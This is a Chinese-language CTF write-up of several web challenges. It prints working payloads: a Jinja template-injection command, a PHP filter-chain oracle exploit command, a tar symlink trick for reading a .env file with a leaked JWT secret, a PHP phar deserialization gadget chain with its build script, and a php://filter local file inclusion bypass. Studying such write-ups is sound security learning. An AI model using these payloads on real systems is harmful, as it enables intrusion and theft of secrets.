前言

你什么比赛你撞西湖论剑（

day2的题没做，放着不管！

easy_flask

直接ssti秒了

{{lipsum.__globals__.os.popen("cat flag").read()}}

file_copy

文件复制，支持伪协议，但是除了文件大小就没有其他回显，测出来 flag 在/flag

那明显是侧信道盲注

python3 filters_chain_oracle_exploit.py --target http://eci-2ze470339l9n5s7flrul.cloudeci1.ichunqiu.com/ --parameter path --file /flag --time_based_atta
ck True --match "Allowed memory size"

Gotar（复现）

package main

import (
	"Gotar/config"
	"Gotar/controllers"
	"Gotar/db"
	"Gotar/middleware"
	"log"
	"net/http"
)

func main() {
	config.LoadEnv()

	db.Init()

	http.Handle("/assets/", http.StripPrefix("/assets/", http.FileServer(http.Dir("assets"))))
	http.HandleFunc("/", middleware.AuthMiddleware(controllers.IndexHandler))
	http.HandleFunc("/register", controllers.RegisterHandler)
	http.HandleFunc("/login", controllers.LoginHandler)
	http.HandleFunc("/logout", controllers.LogoutHandler)
	http.HandleFunc("/upload", middleware.AuthMiddleware(controllers.UploadHandler))
	http.HandleFunc("/files", middleware.AuthMiddleware(controllers.FilesHandler))
	http.HandleFunc("/download/", middleware.AuthMiddleware(controllers.DownloadHandler))

	log.Println("Server started on http://localhost:80")
	log.Fatal(http.ListenAndServe(":80", nil))
}

上传功能是上传一个tar包并解压

const (
	uploadDir    = "./assets/uploads"
	extractedDir = "./assets/extracted"
)

上传目录和解压目录

思路应该是先获取 .env 的 jwt_key，然后伪造成admin下载flag

思考 html/template 的 ssti，但是没有注入点

那就文件上传，奇怪的是我用linux压缩的tar全部解压失败，原来是多加了个 z 参数（

尝试在 windows 这里压缩一个tar包，发现能上传解压了，但是下载全部失败

本地调试一下，我们上传文件时会执行这样一条sqlite语句

SELECT * FROM `users` WHERE `users`.`id` = 2 AND `users`.`deleted_at` IS NULL ORDER BY `users`.`id` LIMIT 1

下载时点击文件执行的url：download/1/.env，其sql语句是

SELECT * FROM `files` WHERE (id = "1/.env" AND user_id = 1) AND `files`.`deleted_at` IS NULL ORDER BY `files`.`id` LIMIT 1

1/.env这玩意在 id 上明显是返回 false

那么这里说不定能构造sql注入，试了一下发现"会自动补成对

SELECT * FROM `files` WHERE (id = """)or+select+1--" AND user_id = 1) AND `files`.`deleted_at` IS NULL ORDER BY `files`.`id` LIMIT 1

遂放弃

观察下登录接口处的操作：

result := db.DB.Where("username = ?", username).First(&user)

SELECT * FROM `users` WHERE username = "123"")))--" AND `users`.`deleted_at` IS NULL ORDER BY `users`.`id` LIMIT 1

也是没法注入的，于是注入似了

尝试软链接到 .env，但是解压就报错Failed to extract file: symlink /app/.env assets/extracted/2: file exists了，不懂

原来是因为软链接需要先套一层文件夹再上传，否则这里 assets/extracted/2 就直接指向 /app/.env 了

mkdir ln
cd ln
ln -s /app/.env test
tar -cvf ln.tar ln

然后访问静态目录 /assets/extracted/2/test 得到 .env

JWT_SECRET=SfaVqVGfLOKk7Gp912kPe0Li47AEQM4iYNbBx1WVrWA=

接下来伪造admin即可，注意 UserID 也要改成 1

读flag

easy_php

文件上传，flag就在web目录下，先看上传规则

function upload_file_check() {
    global $_FILES;
    $allowed_types = array("gif","jpeg","jpg","png");
    $temp = explode(".",$_FILES["file"]["name"]);
    $extension = end($temp);
    if(empty($extension)) {
        //echo "<h4>请选择上传的文件:" . "<h4/>";
    }
    else{
        if(in_array($extension,$allowed_types)) {
            return true;
        }
        else {
            echo '<script type="text/javascript">alert("Invalid file!");</script>';
            return false;
        }
    }
}

白名单，结合题目描述可知要用phar打

看一下利用类：

<?php
class Chunqiu
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

链子：Chunqiu::__destruct -> Show::__toString -> Test::__get -> Test::get -> Test::file_get

<?php
class Chunqiu
{
    public $test;
    public $str;
}
class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;
}
$a=new Chunqiu();
$a->str=new Show();
$a->str->str['str']=new Test();
$a->str->str['str']->params['source']="flag.php";
echo serialize($a);
?>

接下来构造phar包

<?php
class Chunqiu
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;
}
$a=new Chunqiu();
$a->str=new Show();
$a->str->str['str']=new Test();
$a->str->str['str']->params['source']="flag.php";
// echo serialize($a);
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->addFromString("exp.txt", "$payload");
$phar->setMetadata($a);
$phar->stopBuffering();
?>

改为png后缀，上传

然后上传后的文件名是md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"

结果这个$_SERVER["REMOTE_ADDR"]整了半天也没搞清楚路径在哪

file.php 可以直接读文件，waf屁用没有，/file.php?file=/flag非预期秒了，phar个锤子

easy_code

基于get请求参数的2048

robots.txt

User-agent: chunqiu
Disallow: /gogogo.php

gogogo.php

 <?php
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);

$allowedFiles = ['read.php', 'index.php'];

$ctfer = $_GET['ctfer']?? null;


if ($ctfer === null) {
    die("error 0!");
}


if (!is_numeric($ctfer)) {
    die("error 1!");
}


if ($ctfer!= 667) {
    die("error 2!");
}

//溢出
if (strpos(strval($ctfer), '7')!== false) {
    die("error 3!");
}


$file = $_GET["file"];

if ($_COOKIE['pass'] == "admin") {
    if (isset($file)) {
        // 改进的正则表达式，检查是否不存在 base|rot13|input|data|flag|file|base64 字符串
        if (preg_match("/^(?:.*(?:base|rot13|input|data|flag|file|2|5|base64|log|proc|self|env).*)$/i", $file)) {
            // 先检查文件是否在允许的列表中
            echo "prohibited prohibited!!!!";
        } else {
            echo "试试read.php";
            include($file);
        }
    }
}
?>

要求 ctfer 的值为667，strval取字符串，strpos返回出现的位置，即 strval 后不能出现7

那么只有利用溢出才能绕过第三个判断，我们知道intval是存在溢出的，而 strval 的作用和 intval 类似

测试发现到 666.99999999999999 和 667 相等，通过第二个判断了，处理14位

而 666.999999999999 在 strval 后就是 667，处理12位

打远程的时候发现这样就绕过了，接下来就是读文件

找个能用的过滤器秒了php://filter/convert.iconv.CP9066.CSUCS4/resource=read.php

FlagBot（Unsolved）

抓包，随便改下signature参数值，然后发过去弹debug报错界面

泄露出app.py

def index():
    if request.method == 'POST':
        image_data = request.form.get('signature')
        if not image_data:
            return "No signature provided!", 400
        image_data = image_data.split(',')[1]
        if pred(base64.b64decode(image_data), model_path='/app/model_AlexNet.pth'):

测，真要打大模型样本对抗啊，搜了一下感觉都是论文

总之先访问路径获取 model_AlexNet.pth

不懂

ezUpload（Unsolved）

上传文件加密，把加密的结果拿来解密会执行pickle

测试发现ban的是字母：R，o，i，b，字母删光了我打什么啊

摆明了不给命令执行

能用的：eval，setstate，exec，template，render，requests，class，flask，sys